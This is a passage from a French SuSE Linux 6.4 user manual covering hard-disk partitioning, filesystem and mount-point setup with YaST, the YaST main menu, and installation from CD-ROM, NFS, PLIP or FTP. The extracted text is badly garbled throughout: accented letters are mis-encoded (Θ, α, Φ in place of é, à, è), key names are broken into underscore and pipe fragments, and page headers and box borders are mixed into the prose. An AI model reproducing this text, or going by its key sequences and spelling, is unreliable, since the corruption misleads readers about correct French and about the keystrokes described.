  5479.                                  Si vous avez crΘΘ une partition primaire ou logique, vous devrez spΘcifier
  5480.                                  le  nom  de  pΘriphΘrique  sous  lequel  il  sera  accΘdΘ  α  la  partition.  YaST
  5481.                                  vous  propose  les  noms  de  pΘriphΘriques  disponibles.  SΘlectionnez  tout
  5482.                                  simplement  le__nom_ situΘ  en  tΩte  de  liste  par  exemple  `/dev/hda2'  et
  5483.                                  appuyez sur |_____-|.
  5484.  
  5485.                                  Dans la prochaine phase, vous devrez dΘterminer la taille de la nouvelle
  5486.                                  partition. YaST vous propose comme dΘbut de la partition (cylindre de dΘ-
  5487.                                  part) le premier cylindre disponible. En cas normal, vous validerez avec
  5488.                                  |______|-. Passons maintenant α la fin de la partition. Il y a ici 3 entrΘes pos-
  5489.  
  5490.  
  5491. 76
  5492.        _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________*
  5493.  *______________________
  5494.  
  5495.  
  5496.  
  5497.       sibles : le numΘro du cylindre de fin (par exemple 976   ), le nombre des
  5498.       cylindres  de  la  partition  (par  exemple__+66_ )  ou  la  taille  en  mΘga-octets
  5499.       (par exemple +100M_    ). Encore une fois |_____-|vous ramΦne α `Continuer'.
  5500.       Validez avec |_____-|.
  5501.  
  5502.       Maintenant,  la  partition  nouvellement  crΘΘe  apparaεt  dans  la  zone  infΘ-
  5503.       rieure  de  l'Θcran.  Si  la  partition  n'est_ pas  telle  que  vous  le  souhaitiez,
  5504.       vous pouvez l'effacer immΘdiatement avec |F___|4: : :
  5505.  
  5506.  5.   L'une de vos partitions devrait absolument Ωtre une partition de swap Li-_      _
  5507.       nux.  Si  vous  n'en  avez  encore  crΘΘ  aucune,  sΘlectionnez  avec  |_#|et  |_"|
  5508.       une partition appropriΘe (pour trouver la taille adΘquate de la_partition de
  5509.       swap, reportez-vous au paragraphe 2.8 page 67. Appuyez sur |F___|3et_sΘ-
  5510.       lectionnez l'option `Partition  de  swap  Linux', validez avec |_____-|.
  5511.  
  5512.  6.   Avez-vous  rassemblΘ  toutes  les  partitions  comme  vous  le  souhaitiez
  5513.       (maintenant  le  disque  devrait  Ωtre  complΦtement  occupΘ) ?  Avez-vous
  5514.       aussi_pensΘ_α la partition de swap ? Positionnez alors le curseur, α l'aide
  5515.       de |T____a|b, dans le champ `Continuer', α moins qu'il ne s'y trouve dΘjα.
  5516.        ||____|-vous  amΦne,  aprΦs  que  vous  ayez  validΘ  encore  une  fois,  dans  le
  5517.  
  5518.       masque d'entrΘe `DΘtermination  des  systΦmes  de  fichiers'.
  5519.  
  5520.  
  5521. Sous certaines conditions, YaST  vΘrifie encore une fois la partition de swap
  5522. pour mettre toutes les chances de votre c⌠tΘ.
  5523.  
  5524.  
  5525. 2.10.2       DΘterminer les systΦmes de fichiers et les ``points de montage''
  5526.  
  5527.  
  5528. De quoi est-il question ?
  5529.  
  5530. Au paragraphe prΘcΘdent, toutes les partitions ont ΘtΘ inscrites dans la table
  5531. des partitions. Dans la prΘsente phase, vous fournirez des informations com-
  5532. plΘmentaires sur les partitions Linux qui viennent d'Ωtre configurΘes ainsi que
  5533. sur les partitions DOS-/HPFS Θventuellement prΘsentes.
  5534.  
  5535.  
  5536. Informations complΘmentaires
  5537.  
  5538. Ces informations sur les partitions seront en partie conservΘes de faτon per-
  5539. manente dans le fichier /etc/fstab de la table du systΦme de fichiers (angl.
  5540. file system table). Ce fichier contient toutes les donnΘes constantes concernant
  5541. les systΦmes de fichiers comme par exemple les noms de +  pΘriphΘriques, la
  5542. position du systΦme de fichiers dans l'arborescence de tous les systΦmes de
  5543. fichiers Linux ou le type du systΦme de fichiers5
  5544.  
  5545. Par ailleurs, YaST  a besoin des donnΘes elles-mΩmes pour pouvoir installer
  5546. les systΦmes de fichiers Linux sur les partitions formatΘes. Il n'est pas tenu
  5547. compte,  dans  cette  phase  de  travail,  de  la  partition  de  swap  car  elle  a  dΘjα
  5548. ΘtΘ dΘterminΘe au paragraphe 2.10.1 page 75 et elle n'a pas d'autre degrΘ de
  5549. libertΘ.
  5550.  
  5551. Contrairement au tables des partitions (voir paragraphe 2.10.1 page 75), les
  5552. spΘcifications faites dans cette phase de travail sont internes α Linux et n'ont
  5553. 5      ____________________________________________________
  5554.    Ainsi que des informations sur les programmes dump et fsck . Voir page de man de fstab
  5555. (man  5  fstab    ).
  5556.  
  5557.  
  5558.                                                                                                                                    *
  5559.  *     77
  5560. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5561.  *_______________________________________@
  5562.  
  5563.  
  5564.  
  5565.                            aucune influence sur d'autres systΦmes d'exploitation qui se trouvent sur leurs
  5566.                            propres partitions.
  5567.                            Encore quelques explications de termes :
  5568.  
  5569.                              ~   Sous Linux, tous les systΦmes de fichiers sont groupΘs en une seule ``arbo-
  5570.                                  rescence'' (voir la figure C.1 page 529). Pour chaque systΦme de fichiers,
  5571.                                  il doit Ωtre dΘfini quelle branche de l'arborescence il devra reprΘsenter :
  5572.                                  c'est lα son +  point de montage. Vous pouvez aussi ``raccrocher'' des par-
  5573.                                  titions DOS ou HPFS α l'arborescence des rΘpertoires Linux.
  5574.  
  5575.                              ~   L'espace  mΘmoire  dans  un  systΦme  de  fichiers  est  gΘrΘ  α  l'aide  des
  5576.                                  +  i-noeuds.     Les  i-noeuds  pointent  sur  les  donnΘes  proprement  dites  qui
  5577.                                  sont  enregistrΘes  dans  les  fichiers.  Le  nombre  d'i-noeuds  est  dΘterminΘ
  5578.                                  lors  de  la  crΘation  d'un  systΦme  de  fichiers.  Si  l'on  veut  pouvoir  crΘer
  5579.                                  beaucoup  de  petits  fichiers,  on  a  besoin  d'un  nombre  important  d'i-
  5580.                                  noeuds (qui occupent aussi bien s√r plus de la place). Dans les systΦmes
  5581.                                  de  fichiers  qui  contiennent  surtout  des  fichiers  de  grande  taille,  on  a
  5582.                                  donc  besoin  d'un  moins  grand  nombre  d'i-noeuds.  Vous  trouverez  plus
  5583.                                  d'informations α ce sujet au paragraphe 3.3.10 page 91.
  5584.  
  5585.  
  5586.                            Pas α pas : : :
  5587.  
  5588.                            Vous  vous  trouvez  dans  le  masque  d'entrΘe  `DΘtermination  des  sys-
  5589.                            tΦmes  de  fichiers' (voir figure 3.10 page 90). Nous allons vous indiquer
  5590.                            la marche α suivre pour dΘterminer les systΦmes de fichiers de vos nouvelles
  5591.                            partitions :
  5592.  
  5593.                             1.   Tout d'abord, une information prΘalable avant de commencer :
  5594.  
  5595.                                  ~   Pour   vos   systΦmes   de   fichiers   DOS/FPFS   (dans   les   partitions
  5596.                                      DOS/HPFS), vous pouvez dΘfinir ici un +  point de montage.
  5597.  
  5598.                                  ~   Pour chaque nouvelle partition Linux
  5599.  
  5600.                                      ~   vous devez dΘfinir un point de montage.
  5601.  
  5602.                                      ~   Vous  pouvez,  avec  `F3=dΘterminer  le  type',  choisir  un  sys-
  5603.                                          tΦme de fichiers (ext2     ou reiserfs       ).
  5604.  
  5605.                                      ~   vous pouvez, avec `F5=Menu  expert' affiner votre configuration.
  5606.  
  5607.                                      ~   vous pouvez, avec `F6=Formater' modifier le type du formatage
  5608.                                          qui vous est proposΘ (avec ou sans vΘrification).
  5609.  
  5610.                                  ~   La  fonction  `Lire  Fstab'  ne  vous  sert  pas  dans  le  cas  d'une  pre-
  5611.                                      miΦre installation
  5612.  
  5613.                             2.   Vous pouvez dΘterminer le type de votre systΦme de fichiers Linux avec
  5614.                                  |____|F3. Vous disposez actuellement  du systΦme de fichiers bien ΘprouvΘ ext2
  5615.  
  5616.                                  ainsi que du nouveau reiserfs        qui offre des possibilitΘs avancΘes.
  5617.                            ________________________________________________________________________________________________________*
  5618.  *________||
  5619.  
  5620.                            |  ReiserFS ne peut pas Ωtre utilisΘ conjointement α RAID 1 et RAID 5 logi-                             *
  5621.  *        ||||
  5622.                            |  ciels. Avec le RAID matΘriel, il n'y a aucune restriction. ~ reiserfs         est                    *
  5623.  *        |||
  5624.                            |                                                                                                       *
  5625.  *        |||
  5626.                            |  beaucoup plus rΘcent que le systΦme de fichiers ext2     qui n'a plus α faire                        *
  5627.  *        |||
  5628.                            |  ses preuves. Tenez compte de ce fait si vous vous dΘcidez pour reiserfs       .                      *
  5629.  *        |||
  5630.                            |                                                                                                       *
  5631.  *        |||
  5632.                            |  Voir, au sujet de ReiserFS, la page 90.                                                              *
  5633.  *        |||
  5634.                            |_______________________________________________________________________________________________________*
  5635.  *________|||_
  5636.  
  5637.  
  5638. 78
  5639.       _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur___________________*
  5640.  *_____________________
  5641.  
  5642.  
  5643.  
  5644.                 Fig. 2.19: YaST  ~ Monter la partition DOS/Windows
  5645.  
  5646. 3.   Si vous voulez accΘder depuis Linux_α_une partition DOS ou HPFS, sΘlec-
  5647.      tionnez celle-ci et appuyez sur |F___|4. Il apparaεt une fenΩtre d'entrΘe dans
  5648.      laquelle vous devez spΘcifier un rΘpertoire. C'est sous ce rΘpertoire que
  5649.      vous trouverez plus tard votre systΦme de fichiers DOS/HPFS. SΘlection-
  5650.      nez `Autre  entrΘe' et spΘcifiez ici par exemple_/dosc sans oublier la
  5651.      barre oblique (`/') au dΘbut. Validez avec |_____-|.
  5652.  
  5653.      Dans  le  cas  d'une  partition  DOS,  il  apparaεt  un  autre  masque  (fi-
  5654.      gure  2.19) ;  vous  choisirez  de  quelle  maniΦre  Linux  devra  accΘder  au
  5655.      systΦme de fichiers DOS (voir aussi le paragraphe 3.3.10 page 91). Nor-
  5656.      malement, vous voudrez vous servir de votre systΦme de fichiers DOS de
  5657.      faτon indΘpendante et n'accΘder, α partir de Linux, que sporadiquement α
  5658.      la partition DOS, par exemple pour l'Θchange des fichiers. SΘlectionnez
  5659.      ici `DOS'. Les attributs des fichiers UNIX et les noms de fichiers longs
  5660.      que  permet  le  systΦme  de  fichiers  +  UMSDOS  ne  sont  nΘcessaires  que
  5661.      si vous voulez installer sur une partition DOS ~ Θvitez toutefois ce type
  5662.      d'installation dans la mesure du possible !
  5663.  
  5664.  
  5665.  
  5666. 4.   Ensuite, vous spΘcifierez le +  point de montage des partitions Linux. SΘ- ___
  5667.      lectionnez  l'une  aprΦs  l'autre  les  partitions  Linux,  appuyez  sur  |___F|4.  Il
  5668.      apparaεt une fenΩtre dans laquelle vous spΘcifierez le rΘpertoire sous le-
  5669.      quel le systΦme de fichiers de cette partition devra apparaεtre dans l'en-
  5670.      semble du systΦme de fichiers. SpΘcifiez toujours le chemin avec une barre
  5671.      oblique au dΘbut.
  5672.  
  5673.      Le rΘpertoire que vous spΘcifierez comme point de montage dΘpend bien
  5674.      s√r de votre plan de partitionnement. Il vous faut en tout cas un fichier
  5675.      racine (root) /  qui constitue la racine et la base de l'ensemble du systΦme
  5676.      de  fichiers.  Les  autres  systΦmes  de  fichiers  et  leurs  points  de  montage
  5677.      dΘpendent,  comme  nous  l'avons  dΘjα  dit,  du  go√t  de  chacun.  Toutefois
  5678.      attention :
  5679.  
  5680.  
  5681.                                                                                                                                    *
  5682.  *    79
  5683. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5684.  *_______________________________________@
  5685.  
  5686.                            ________________________________________________________________________________________________________*
  5687.  *________||
  5688.                            |  Les rΘpertoires qui sont dΘjα nΘcessitΘs lors de l'amorτage doivent se trou-                         *
  5689.  *        ||||
  5690.                            || ver directement dans le systΦme de fichiers /. └ ce stade, les diffΘrentes                           *
  5691.  *        ||||
  5692.                            |  branches  de  l'ensemble  du  systΦme  de  fichiers  ne  sont  pas  encore  mon-                     *
  5693.  *        ||||
  5694.                            |                                                                                                       *
  5695.  *        |||
  5696.                            |  tΘes. C'est pourquoi vous ne devez pas spΘcifier ici les fichiers /bin,/dev,                         *
  5697.  *        |||
  5698.                            |  /lib, /etc et /sbin !                                                                                *
  5699.  *        |||
  5700.                            |_______________________________________________________________________________________________________*
  5701.  *________|||_
  5702.  
  5703.                             5.   Ignorez le `menu  expert', si vous faites vos dΘbuts sous Linux En rΦgle
  5704.                                  gΘnΘrale, les configurations par dΘfaut sont automatiquement dΘterminΘes
  5705.                                  de  maniΦre  α  garantir  un  fonctionnement  s√r  et  fiable.  Ne  modifiez  les
  5706.                                  valeurs proposΘes que si vous savez exactement ce qu'une modification
  5707.                                  peut entraεner (voir page 91) !
  5708.  
  5709.                             6.   DΘterminez  si  les  partitions  doivent  Ωtre  formatΘes  et,  le  cas  ΘchΘant,
  5710.                                  de  quelle  maniΦre.  Les  partitions  que  vous  avez  reconfigurΘes  au  pa-
  5711.                                  ragraphe  2.10.1  page  75  doivent  absolument  Ωtre  formatΘes.  Si  vous
  5712.                                  disposez  d'un  disque  dur  moderne,  il  suffit  de  sΘlectionner  `Formater
  5713.                                  normalement'. Si votre mΘmoire de masse n'est plus toute fraεche, vous
  5714.                                  devriez sΘlectionner `Formater  en  vΘrifiant'.
  5715.  
  5716.  
  5717.  
  5718.                                                         Fig. 2.20: YaST  ~ Points de montage
  5719.  
  5720.  
  5721.                                  Choisissez  l'une  aprΦs  l'autre  vos  partitions  Linux,  appuyez  sur  |____|F6et
  5722.                                  sΘlectionnez  ensuite  le  mode  de  formatage  appropriΘ.  Le  menu  devrait
  5723.                                  alors ressembler α celui de la figure 2.20 (mais il est possible que vous
  5724.                                  n'ayez pas inscrit de rΘpertoire NFS !
  5725.  
  5726.                             7.   SΘlectionnez `Continuer' et le formatage de la partition aura lieu aprΦs
  5727.                                  que vous ayez rΘpondu α une question de sΘcuritΘ.
  5728.  
  5729.  
  5730.  
  5731. 80
  5732.  
  5733.                                                                                                            Chapitre  3
  5734.                    YaST    ~   Yet   another   Setup   Tool
  5735.  
  5736.  
  5737. YaST  (yast    ) est un ΘlΘment essentiel de SuSE     Linux. Il vous aide α installer
  5738. le systΦme, α gΘrer les logiciels (installation et dΘsinstallation) et vous apporte
  5739. un soutien pour l'administration du systΦme.
  5740.  
  5741. Ce chapitre a pour objectif de dΘcrire les fonctions les plus importantes de
  5742. YaST  afin de vous rendre l'installation aussi simple que possible.
  5743.        _______________________________________________________________________________________________________________________||
  5744.        ||||||||  Avec SuSE      Linux 6.4, il vous est fourni un YaST  qui a fait l'objet d'une                 |||            |
  5745.        ||||||||  nouvelle  Θlaboration  et  les  figures  (captures  d'Θcran)  contenues  dans  le              ||             |
  5746.        ||||||||                                                                                                 ||             |
  5747.        ||||||||  manuel ne sont plus tout α fait exactes.                                                       ||             |
  5748.        ||||||||_______________________________________________________________________________________________________________||_
  5749.  
  5750.  
  5751.  
  5752. 3.1       Utilisation de YaST et disposition du clavier
  5753.  
  5754.  
  5755. Vous lancez YaST  au message d'+  invite par la commande yast     :
  5756.  
  5757.       terre:  #  yast
  5758.  
  5759. On utilise le programme YaST essentiellement_α l'aide des touches du curseur
  5760. et  de  la  touche  de  tabulation  (|T____a|b).  Vous  pouvez__vous__dΘplacer _dans__les_
  5761. listes en_vous_servant_des touches du curseur ainsi que de |B_________|ildet"|B_________|ild. #
  5762. Avec   |||______E|space,  vous  pouvez  choisir  des__options_ dans  les__listes_ de  sΘlection.
  5763. Normalement, la sΘlection doit Ωtre validΘe avec |E_________|ntrΘeou |_____-|.
  5764.  
  5765. Avec  ╔|||_____|chap, vous pouvez en rΦgle gΘnΘrale quitter les menus. Si vous sou-
  5766. haitez conserver les_configurations_que vous avez faites, vous devez valider
  5767. votre choix avec |F____1|0.
  5768.  
  5769. Pour les questions auxquelles il faut rΘpondre par oui_ou_par non ainsi que
  5770. pour les champs d'entrΘe de texte, vous pouvez, avec |____Ta|b, passer d'un champ
  5771. α l'autre ou d'un bouton α l'autre. Si vous utilisez YaST  en mode couleurs, la
  5772. sΘlection active est toujours reprΘsentΘe en bleu.
  5773.  
  5774. Dans  de  rares  cas,  par  exemple  si  vous  dΘmarrez  YaST  α  distance  depuis
  5775. un  terminal  non  Linux,  il  ne  vous  sera  pas  possible  dans  le  texte  qui  va
  5776. suivre ou dans la barre infΘrieure de YaST , d'utiliser les touches de fonction
  5777. du fait que les codes des touches seront interprΘtΘs simultanΘment._Dans_ce________
  5778. cas, vous devrez simuler_l'utilisation_de_la_touche_de_fonction |F_________________|<chiffre>_
  5779. par la combinaison_|C______t|rl+|f__||_______________<|chiffre>._Pour_|F____1|0,_vous_pouvez faire la
  5780. combinaison |C______|trl+|f_ ||_0|. Les touches de fonction |F____1|1et |F____1|2ne sont pas
  5781. utilisΘes sous YaST .
  5782.  
  5783.  
  5784.                                                                                                                                    *
  5785.  *     81
  5786. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5787.  *_______________________________________@
  5788.  
  5789.  
  5790.  
  5791.                            3.2       Le menu principal de YaST
  5792.                            Lorsque vous dΘmarrez YaST , vous vous trouvez dans le ``menu principal''
  5793.  
  5794.                            (figure 3.1).
  5795.  
  5796.  
  5797.  
  5798.                                                       Fig. 3.1: Le ``menu principal'' de YaST
  5799.  
  5800.  
  5801.                            `Aide  α  l'installation  et  pour  la  disposition  du  clavier'
  5802.                                  Informations diverses
  5803.  
  5804.                            `Configurations  pour  l'installation  ->'                                  Cette  option  comprend
  5805.                                  une sous-option (voir paragraphe 3.3).
  5806.  
  5807.                            `DΘterminer/dΘmarrer  l'installation'                                  └  partir  de  lα,  on  arrive  au
  5808.                                  choix des paquetages logiciels α installer ou α supprimer du systΦme (voir
  5809.                                  paragraphe 3.4 page 94).
  5810.  
  5811.                            `Mettre  α  jour  le  systΦme'                      Si certains paquetages doivent Ωtre actua-
  5812.                                  lisΘs.
  5813.  
  5814.                            `Administration  du  systΦme  ->'                          C'est  par  cette  option  que  l'on  dΘ-
  5815.                                  ploie  le  menu  pour  l'administration  du  systΦme  (voir  paragraphe  3.6
  5816.                                  page 100).
  5817.  
  5818.                            `Afficher  le  fichier  README  du  support  d'installation'
  5819.                                  Informations complΘmentaires importantes.
  5820.  
  5821.                            `Copyright'            La parole est aux juristes.
  5822.  
  5823.                            `Quitter  YaST'              ~ Toute chose a une fin.
  5824.  
  5825.  
  5826.                            3.3       Configurations pour l'installation
  5827.  
  5828.                            Toutes  les  configurations  importantes  pour  l'installation  seront  effectuΘes
  5829.                            dans le sous-menu `Configurations_ pour  l'installation' (figure 3.2
  5830.                            page suivante).  Avec |╔_______c|hap, vous pourrez quitter les menus.
  5831.  
  5832.                            L'installation  proprement  dite  ne  peut  Ωtre  rΘalisΘe  que  si  vous  avez  spΘci-
  5833.                            fiΘ vos partitions de destination ! Il est encore possible aprΦs l'installation de
  5834.                            choisir quelques options si l'on souhaite actualiser certains dΘtails de la confi-
  5835.                            guration.
  5836.  
  5837.  
  5838. 82
  5839.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  5840.  *______________________
  5841.  
  5842.  
  5843.  
  5844.           Fig. 3.2: Menu `Configurations  pour  l'installation'
  5845.  
  5846.  
  5847.  
  5848. 3.3.1      DΘterminer la langue
  5849.  
  5850. Avec  l'option  `DΘterminer  la  langue',  vous  pouvez  changer  la  langue
  5851. des masques de YaST . La valeur est insΘrΘe dans la variable LANGUAGE        posi-
  5852. tionnΘe dans /etc/rc.config (voir page 452).
  5853.  
  5854.  
  5855. 3.3.2      SΘlectionner la disposition du clavier
  5856.  
  5857. Avec `SΘlectionner  la  disposition  du  clavier', vous pouvez mo-
  5858. difier  l'affectation  des  touches  du  clavier.  La  valeur  est  insΘrΘe  dans  la  va-
  5859. riable <KEYTABLE> inscrite dans /etc/rc.config (voir paragraphe 17.6
  5860. page 452).
  5861.  
  5862.  
  5863. 3.3.3      SΘlectionner le support d'installation
  5864.  
  5865. Ce dialogue (figure 3.3 page suivante) vous donne la possibilitΘ de sΘlection-
  5866. ner le support α partir duquel vous voulez installer en invoquant l'option du
  5867. menu `SΘlectionner  la  source  d'installation'.
  5868.  
  5869. Dans le cas le plus frΘquent, vous choisirez ici l'option du menu `Instal-
  5870. lation  α  partir  du  CD-ROM' si vous voulez installer directement α partir
  5871. du lecteur de CD-ROM de votre machine.
  5872.  
  5873. En passant par l'option du menu `Installation  α  partir  d'une  par-
  5874. tition  de  disque  dur', vous pouvez aussi installer votre systΦme mΩme
  5875. si votre lecteur de CD-ROM n'est pas directement supportΘ par Linux (voir
  5876. paragraphe 3.3.5 page suivante). Si vous avez intΘgrΘ le contenu des CD dans
  5877. l'arborescence Linux, vous pouvez sΘlectionner l'option `Installation  α
  5878. partir  d'un  rΘpertoire  accessible'.
  5879.  
  5880. Avec   `Installation  via  NFS'   ou   `Installation  α  partir  d'un
  5881. serveur  FTP', vous pouvez installer Linux sur une machine qui ne dispose
  5882. pas  de  son  propre  lecteur  de  CD-ROM,  α  condition  toutefois  qu'elle  soit
  5883. reliΘe par +  Ethernet α une machine dotΘe d'un lecteur de CD-ROM. Lisez α
  5884. ce sujet le paragraphe 3.3.6 page 85 ou le paragraphe 3.3.8 page 87.
  5885.  
  5886.  
  5887.  
  5888.                                                                                                                                    *
  5889.  *     83
  5890. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5891.  *_______________________________________@
  5892.  
  5893.  
  5894.  
  5895.                                           Fig. 3.3: SΘlection de la source d'installation dans YaST
  5896.  
  5897.  
  5898.                            3.3.4      Installation α partir du CD-ROM
  5899.  
  5900.  
  5901.  
  5902.                                                     Fig. 3.4: SΘlection du lecteur de CD-ROM
  5903.  
  5904.  
  5905.                            Si vous pouvez installer directement α partir d'un CD-ROM, spΘcifiez ici le
  5906.                            type  de  votre  lecteur.  Si  vous  Ωtes  indΘcis,  commencez  vos  essais  avec  les
  5907.                            lecteurs `ATAPI  EIDE'.
  5908.  
  5909.  
  5910.                            3.3.5      Installation α partir d'une partition du disque dur
  5911.  
  5912.                            Dans le cas o∙ votre lecteur de CD-ROM ne serait pas directement supportΘ
  5913.                            par Linux, vous pouvez quand mΩme installer le systΦme sur votre machine.
  5914.                            Mais vous devrez alors faire un dΘtour en passant par un autre support d'ins-
  5915.                            tallation.
  5916.  
  5917.  
  5918. 84
  5919.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  5920.  *______________________
  5921.  
  5922.  
  5923.  
  5924. 3.3.6      Installation via NFS
  5925.  
  5926. L'installation  par  le  biais  d'un  rΘseau  donne  aux  utilisateurs  de  Linux  pos-
  5927. sΘdant  dΘjα  une  certaine  expΘrience  la  possibilitΘ  d'installer  simplement  et
  5928. commodΘment plusieurs machines, mΩme si une seule d'entre elles est dotΘe
  5929. d'un lecteur de CD-ROM ou dans le cas o∙ les fichiers sources peuvent Ωtre
  5930. mis α disposition sur un disque dur accessible via +  NFS. Il est toutefois nΘ-
  5931. cessaire que vous soyez familiarisΘ avec la configuration d'un serveur NFS
  5932. avant de vous lancer dans une installation via NFS.
  5933.  
  5934. Cette caractΘristique rend Θgalement possible l'installation d'un portable type
  5935. notebook disposant d'une carte rΘseau PCMCIA.
  5936.           Fig. 3.5: EntrΘe des donnΘes du rΘseau pour l'installation NFS
  5937.  
  5938.  
  5939. L'installation via NFS n'est pas seulement possible pour les machines inter-
  5940. connectΘes par Ethernet mais elle peut aussi se faire sur une machine connec-
  5941. tΘe  sur  port  parallΦle  α  un  serveur.  Cette  caractΘristique  prΘsente  un  intΘrΩt
  5942. particulier pour les laptops et les notebooks. Si vous voulez procΘder α une
  5943. telle installation, vous devrez naturellement sΘlectionner, lors de l'amorτage,
  5944. un noyau disposant d'un support PLIP. Mais dans ce cas il vous faudra effec-
  5945. tuer quelques paramΘtrages supplΘmentaires afin que l'interface PLIP puisse
  5946. Ωtre configurΘe de faτon correcte.
  5947.  
  5948. Si vous Ωtes reliΘ directement au serveur NFS, l'adresse de la machine PLIP
  5949. distante  est  la  mΩme  que  celle  que  vous  devrez  spΘcifier  ensuite  comme
  5950. adresse  du  serveur  NFS.  L'inferface  PLIP  sera  dans  la  majeure  partie  des
  5951. cas plip1     . Les paramΦtres matΘriels ne devraient pas non plus, sauf dans de
  5952. trΦs rares cas, s'Θloigner des valeurs courantes.
  5953.  
  5954. Notez toutefois que si vous utilisez le port parallΦle comme interface PLIP,
  5955. vous  ne  pourrez  plus  vous  servir  d'une  imprimante  sur  celui-ci !  Dans  de
  5956. nombreux cas, une imprimante connectΘe α une telle interface provoque une
  5957. rΘinitialisation permanente dΦs que le pilote entre en action !
  5958.  
  5959.  
  5960.                                                                                                                                    *
  5961.  *     85
  5962. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  5963.  *_______________________________________@
  5964.  
  5965.  
  5966.  
  5967.                                                               Fig. 3.6: Configuration PLIP
  5968.  
  5969.  
  5970.  
  5971.                            Dans le masque suivant, vous spΘcifierez l'adresse IP du serveur NFS ainsi
  5972.                            que le rΘpertoire qui abrite les fichiers sources. Le serveur doit bien entendu
  5973.                            exporter ce rΘpertoire vers la machine sur laquelle se fait la nouvelle installa-
  5974.                            tion !
  5975.  
  5976.  
  5977.  
  5978.                            3.3.7      Installation α partir d'un rΘpertoire accessible
  5979.  
  5980.                            Cette  option  sert  essentiellement  α  installer  des  logiciels  supplΘmentaires
  5981.                            lorsque Linux tourne dΘjα. Elle offre par ailleurs, le cas ΘchΘant, la possibilitΘ
  5982.                            d'installer Linux avec des lecteurs pour lesquels aucun pilote n'Θtait encore
  5983.                            disponible au moment de la crΘation du CD.
  5984.  
  5985.                            Pour  pouvoir  maintenant,  α  partir  de  YaST ,  accΘder  α  ce  lecteur,  lancez
  5986.                            d'abord_YaST_. Lorsque_ce sera fait, passez sur une autre console (par exemple
  5987.                            avec |____Al|t+|F___|2sur le deuxiΦme console virtuelle) et connectez-vous sur celle-
  5988.                            ci en tant qu'utilisateur `root'.
  5989.  
  5990.                            └  partir  de  cette  console,  vous  devrez  alors  +  monter  votre  lecteur  de  CD-
  5991.                            ROM manuellement sur un rΘpertoire prΘcis en tapant par exemple :
  5992.  
  5993.                                  terre:  #  mount  -tiso9660  /dev/cdrom  /cdrom
  5994.  
  5995.                            Voyez aussi α ce sujet le paragraphe 19.11.2 page 500.
  5996.  
  5997.                            Vous pouvez maintenant procΘder α une installation tout α fait normale. Pour
  5998.                            cela, vous devrez spΘcifier dans le prochain masque (figure 3.7 page suivante)
  5999.                            le rΘpertoire qui abrite les fichiers sources. C'est le rΘpertoire sur lequel le CD
  6000.                            a ΘtΘ montΘ, complΘtΘ par le chemin suse.
  6001.  
  6002.                            Si vous avez par exemple montΘ le lecteur (ou la partition de disque dur sur
  6003.                            le rΘpertoire /cdrom, faites alors la mΩme entrΘe que dans la figure 3.7 page
  6004.                            ci-contre :
  6005.  
  6006.                                  /cdrom/suse
  6007.  
  6008.  
  6009. 86
  6010.        ________________________________________________________________________3.3.__Configurations_pour_l'installation____________*
  6011.  *______________________
  6012.  
  6013.  
  6014.  
  6015.                          Fig. 3.7: SpΘcification du rΘpertoire source
  6016.  
  6017.  
  6018.  
  6019. 3.3.8      Installation via FTP
  6020.  
  6021. Tout  comme  avec  NFS,  vous  avez  ici  la  possibilitΘ  d'installer  SuSE     Linux
  6022. sur  une  machine  ne  disposant  pas  de  lecteur  de  CD-ROM  (supportΘ).  Ceci
  6023. prΘsume toutefois que la configuration de base du rΘseau ait dΘjα ΘtΘ effectuΘe.
  6024.  
  6025.  
  6026.  
  6027.            Fig. 3.8: SpΘcifications nΘcessaires pour l'installation via FTP
  6028.  
  6029.  
  6030. `Serveur  FTP  [Nom|IP]'                    Le nom ou l'adresse IP du serveur FTP.
  6031.  
  6032. `RΘpertoire  du  serveur'                     L'emplacement auquel se trouve le rΘpertoire
  6033.       suse sur le serveur FTP.
  6034.  
  6035. `[  ]  Utiliser  un  proxy ?'                    Ne marquez d'une croix cette option que si
  6036.       vous Ωtes s√r de devoir utiliser un proxy FTP. En rΦgle gΘnΘrale, un proxy
  6037.       n'est pas nΘcessaire. Il est en outre indispensable qu'il s'agisse d'un vΘri-
  6038.       table proxy FTP car il n'est pas possible d'utiliser de proxy HTTP.
  6039.  
  6040.  
  6041.                                                                                                                                    *
  6042.  *     87
  6043. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6044.  *_______________________________________@
  6045.  
  6046.  
  6047.  
  6048.                            `Proxy  [Nom|IP]'               Ne  faites  une  entrΘe  que  si  vous  avez  marquΘ  d'une
  6049.                                  croix l'option prΘcΘdente.
  6050.  
  6051.                            `[X]  Port  FTP  par  dΘfaut ?'                     Vous devez normalement faire une croix.
  6052.  
  6053.                            `Port  [NumΘro]'               Devrait normalement Ωtre positionnΘe α 21  .
  6054.  
  6055.                            `[X]  FTP  anonyme ?'                Marquez toujours d'une croix si vous voulez utiliser
  6056.                                  un serveur FTP public.
  6057.  
  6058.                            `Login'        Si vous n'avez pas marquΘ d'une croix l'option prΘcΘdente, inscri-
  6059.                                  vez ici le nom d'utilisateur et ensuite, α la prochaine option,
  6060.  
  6061.                            `Mot  de  passe'             le mot de passe.
  6062.  
  6063.                            `Timeout  [Secondes]'                   60   est une bonne valeur.
  6064.  
  6065.                            `RΘpertoire  Tmp  local'                    Le  rΘpertoire  local  dans  lequel  les  fichiers
  6066.                                  doivent Ωtre stockΘs temporairement.
  6067.  
  6068.  
  6069.                            Remarque : YaST  Θtablit uniquement des connexions FTP passives.
  6070.  
  6071.  
  6072.                            3.3.9      Partitionner le(s) disque(s) dur(s)
  6073.  
  6074.                            Le point critique de l'installation d'un nouveau systΦme d'exploitation est le
  6075.                            partitionnement  du  disque  dur.  Habituellement,  chaque  systΦme  d'exploita-
  6076.                            tion a besoin au minimum d'une partition qui lui est propre.
  6077.                            ________________________________________________________________________________________________________*
  6078.  *________|||
  6079.                            |                                                                                                       *
  6080.  *        |||
  6081.                            |  Mais il est aussi possible d'installer Linux sur un systΦme de fichiers DOS                          *
  6082.  *        |||
